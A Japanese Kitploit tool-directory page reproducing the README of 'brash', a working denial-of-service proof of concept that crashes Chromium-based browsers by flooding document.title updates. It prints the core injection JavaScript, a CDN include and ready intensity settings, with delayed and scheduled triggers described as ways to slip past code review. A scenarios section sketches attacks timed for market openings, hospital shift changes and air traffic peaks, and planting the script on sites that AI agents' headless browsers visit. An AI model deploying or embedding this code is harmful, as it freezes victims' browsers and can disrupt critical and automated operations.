Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
brash — document.titleを悪用したChromiumブラウザのDoS攻撃 | Kitploit
ツール/GitHubGitHub/jofpin/brash
エクスプロイトフレームワーク脆弱性分析ウェブアプリケーション悪用ペネトレーションテスト
GitHubjofpin/brash

brash

document.titleを悪用したChromiumブラウザのDoS攻撃

リポジトリを見るウェブサイト
18061611ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Brash

Brash by Jose Pino

document.title 悪用による Chromium ブラウザ DoS 攻撃

Brash は、Google の Chromium ベースのブラウザを支えるレンダリングエンジン Blink における重大な脆弱性です。特定の DOM 操作が管理される方法におけるアーキテクチャ上の欠陥を悪用することで、あらゆる Chromium ブラウザを 15〜60 秒で崩壊させることができます。

攻撃ベクトルは、document.title API の更新に対するレート制限が完全に存在しないことに起因します。これにより、毎秒数百万回の DOM ミューテーションを注入することが可能になり、この注入試行中にメインスレッドを飽和させ、イベントループを乱してインターフェースを崩壊させます。影響は重大で、高い CPU リソースを消費し、システム全体のパフォーマンスを低下させ、同時に実行されている他のプロセスを停止または低速化させる可能性があります。デスクトップ、Android、組み込み環境の Chromium ブラウザに影響を与えることで、この脆弱性はインターネット上の30 億人以上の人々をシステムレベルのサービス拒否にさらします。

ステータス: 動作中
影響を受けるバージョン: Chromium ≤ 143.0.7483.0 (テスト済み: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)

[!NOTE] このエクスプロイトは現在動作しています。脆弱性がパッチされると、このコードは機能しなくなります。いずれにせよ、このアーキテクチャ上の欠陥を発見し、調査、ドキュメント化、設計の全プロセスを完了して、世界と共有できるインパクトのあるものを生み出せたことは、この上なくやりがいのある旅でした。

テスト

脆弱性の影響を検証するために、macOS、Windows、Linux で 11 の主要ブラウザがテストされました。

脆弱性あり (Chromium/Blink)

この欠陥は Blink レンダリングエンジンの核に存在するため、すべての Chromium ベースのブラウザが脆弱です:

  • Chrome — 15〜30 秒でクラッシュ
  • Edge — 15〜25 秒でクラッシュ
  • Vivaldi — 15〜30 秒でクラッシュ
  • Arc Browser — 15〜30 秒でクラッシュ
  • Dia Browser — 15〜30 秒でクラッシュ
  • Opera — 約 60 秒でクラッシュ
  • Perplexity Comet — 15〜35 秒でクラッシュ
  • ChatGPT Atlas — 15〜60 秒でクラッシュ
  • Brave — 30〜125 秒でクラッシュ

脆弱性なし (他のエンジンを使用)

  • Firefox (Gecko エンジン) — 攻撃に対して免疫
  • Safari (WebKit エンジン) — 攻撃に対して免疫
  • iOS ブラウザ (すべて WebKit を使用) — Apple の必須ポリシーによりすべての iOS ブラウザがレンダリングエンジンとして WebKit を使用することが義務付けられ、iOS では Chromium ベースのブラウザが不可能なため、攻撃に対して免疫

仕組み

Brash は、Blink レンダリングエンジンにおける根本的なアーキテクチャ上の欠陥、すなわち document.title 更新に対するスロットリングの欠如を悪用します。攻撃は 3 つの重要なフェーズで動作します:

1. ハッシュ生成 (準備)

512 文字の一意な 16 進文字列を 100 個生成し、攻撃開始前にメモリに保存します。

なぜリアルタイムで生成するのではなく事前にロードするのか?

新しい文字列を常時生成すると、数学的演算に CPU 時間を消費するからです。その時間は重要です。文字列の生成に費やす毎ミリ秒は、document.title の更新でブラウザを攻撃するために使われない時間なのです。

100 個の文字列をメモリにロードしておくことで:

  • より高速な攻撃: 文字列を生成するための中断なし
  • CPU への集中: リソースの 100% をブラウザの飽和に専念
  • システム停止の削減: ガベージコレクタが常に作動するのを防止
  • 検出の回避: 100 個の異なる文字列により、ブラウザが更新をキャッシュまたは最適化するのを防止

その結果、更新あたりのメモリ消費を最大化しながら、最大の注入速度を達成します。

// Generates high-entropy unique IDs
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. バースト注入 (攻撃)

設定可能なタイトル更新のバーストを実行します。デフォルト設定 (burst: 8000、interval: 1ms) では、毎秒約 2400 万回の更新を注入しようと試み、この試行中にブラウザの崩壊が始まります。

// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // Each burst performs 3 sequential updates
    }
    this.counter += 0x3;
}

3. UI スレッドの飽和 (崩壊)

継続的な更新によりブラウザのメインスレッドが飽和し、他のイベントの処理が妨げられます:

崩壊のタイムライン:

  • 0〜5 秒: UI スレッドの初期飽和、極端な CPU 消費
  • 5〜10 秒: タブが完全にフリーズし、閉じることが不可能
  • 10〜15 秒: ブラウザの崩壊または「ページが応答していません」ダイアログ
  • 15〜60 秒: 強制終了が必要 (Chromium ベースのブラウザ)

なぜ機能するのか?

Blink は各 document.title の変更をレート制限なしにメインスレッドで同期的に処理します。これによりボトルネックが生じ、以下を引き起こします:

  • イベントループのブロック
  • ユーザー入力処理の妨害
  • 長い文字列によるメモリの飽和
  • コンポジタとレンダリングパイプラインの混乱
  • ブラウザプロセスのスラッシング

デモ & PoC

Brash の影響を完全に理解するには、管理されたライブデモから独自の実装まで、さまざまなコンテキストでエクスプロイトを体験できます。各オプションは、異なるレベルの対話性と技術的理解のために設計されています。

1. ライブデモ

Brash の動作を確認する最速の方法です。https://brash.run にアクセスしてください。

グラフィカルインターフェースなしでエクスプロイトを確認するには、https://brash.run/hidden-live-demo.html にアクセスしてください。このバージョンは注入を不可視で実行し、実際の攻撃をシミュレートします。

2. ローカルデモ

自分の環境でデモを実行したい場合は、リポジトリに含まれる exploit-demo/ ディレクトリで以下が可能です:

  • 攻撃の強度をリアルタイムで調整するコントロール
  • 毎秒の更新回数の視覚カウンター
  • 中程度、攻撃的、過激の 3 つの定義済みモード
  • ブラウザの進行性の崩壊の観察

任意の Chromium ブラウザで exploit-demo/index.html を開き、開始前に burst と interval の値を設定するだけです。

  • burstSize: インターバルあたりのタイトル変更数 (大きいほど攻撃的)
  • interval: バースト間のミリ秒 (小さいほど攻撃的)

3. 独自の PoC を実装する

Brash を独自のセキュリティテストや研究に統合するには、スクリプトを含めて攻撃を設定します:

スクリプトを含める:

<!-- Local -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

API の使用方法:

// 1. Immediate attack
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. Delay in seconds (default)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 seconds
});

// 3. Delay with strings
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: "30s"  // or "5000ms" or "3m"
});

// 4. Scheduled attack
Brash.run({
    burstSize: 8000,
    interval: 1,
    scheduled: "2025-10-18T09:30:00"
});

強度設定:

// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({ 
    burstSize: 200,
    interval: 1000 // ~600 updates/sec
});

// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({ 
    burstSize: 2000, 
    interval: 100 // ~60,000 updates/sec
});

// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({ 
    burstSize: 8000,
    interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});

注記: 各バーストは 3 回の連続した document.title 更新を実行します。たとえば、burstSize: 400 = インターバルあたり 1,200 回の実際の更新になります。

攻撃シナリオ

Brash は、経済的損失から人命のリスクに至るまでの結果を伴う、複数の重大なコンテキストで兵器化される可能性があります。

時間遅延攻撃: 戦略的タイミング

Brash の危険性を増幅する重要な特徴は、特定の瞬間に実行されるようにプログラムできることです。攻撃者は時間的トリガー付きでコードを注入し、あらかじめ決められた正確な時刻まで潜伏させることができます。

技術的実装:

// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });

// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });

// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });

パラメータ:

  • burstSize: サイクルあたりの更新数
  • interval: サイクル間のミリ秒
  • delay: 数値 (秒) または文字列 ("30s", "5000ms", "3m")
  • scheduled: ISO 文字列または Date オブジェクト

なぜ delay パラメータは特に致命的なのか:

  1. リンクを開くタイミングを知る必要がない: 被害者がページを開いてから X 秒待機するだけです。

  2. 信頼を確立する時間: 待機中の数分間に、被害者は一見正当なコンテンツ (フォーム、ドキュメント、動画) と対話します。

  3. 初期検査を回避: 誰かがコードを素早く確認しても、非アクティブに見えます。攻撃は後になるまで実行されません。

  4. 完璧な心理的タイミング: 被害者がタスクに深く関与するまで待機します (試験の最中、会議の最中、重要な手順の最中)。

delay を使用した典型的なシナリオ:

00:00 - Victim opens link "Q4 Documents.pdf"
00:30 - Victim reviews documents, appears legitimate
02:00 - Victim shares screen in meeting with 50 people
03:00 - ATTACK EXECUTES - all browsers collapse

なぜ scheduled パラメータも壊滅的なのか:

  1. 外科的同期: 攻撃者は最大の影響の瞬間 (市場の開場、運用のピーク時) を正確に選択します。

  2. グローバルな連携攻撃: 複数のターゲットを同じ秒に同時に攻撃できます。

  3. 事前検出の回避: 悪意のあるコードは、実行せずに数日または数週間前から存在し、セキュリティレビューを通過できます。

  4. 阻止が不可能: 攻撃が実行される頃には、防ぐには遅すぎます。

戦略的タイミングの例:

  • 午前 09:30 (EST) — ウォール街の開場 (取引のボラティリティが最大)
  • 午前 03:00 — 病院の交代時間 (スタッフ最少、脆弱性最大)
  • 午後 12:00 — 航空交通のピーク時 (同時飛行数が最大)
  • ブラックフライデー 00:00 — オンラインセール開始 (E コマースのトラフィックが最大)
  • ライブイベント中 — 大統領討論会、スーパーボウル、大規模スポーツイベント

この運動学的タイミング機能により、Brash は混乱ツールから時間的精密兵器へと変貌します。攻撃者は「何を」「どこで」だけでなく、「いつ」 もミリ秒単位の精度で制御できるのです。


AI エージェントのポイズニング: 自動化システム

シナリオ: Web スクレイピング、市場分析、競合他社の監視、顧客サポートの自動化に AI エージェントを依存するエンタープライズシステムは、ヘッドレスブラウザ (Chromium/Puppeteer) を使用して毎日何千ものウェブサイトを照会します。攻撃者はこれらのエージェントが照会する人気サイトに Brash を注入します。

重要な自動化運用中に:

  • AI エージェントが市場分析のために侵害された金融ニュースサイトを照会
  • Brash がエージェントのヘッドレスブラウザで静かに実行
  • ブラウザプロセスがクラッシュし、分析パイプライン全体が停止
  • エージェントのデータを待つ下流システムがタイムアウト
  • 自動取引・価格決定がブロック
  • 監視システムが複数のエージェントで同時に大規模障害を検出
  • エージェントインフラ全体を再起動するために手動介入が必要
ツールをダウンロード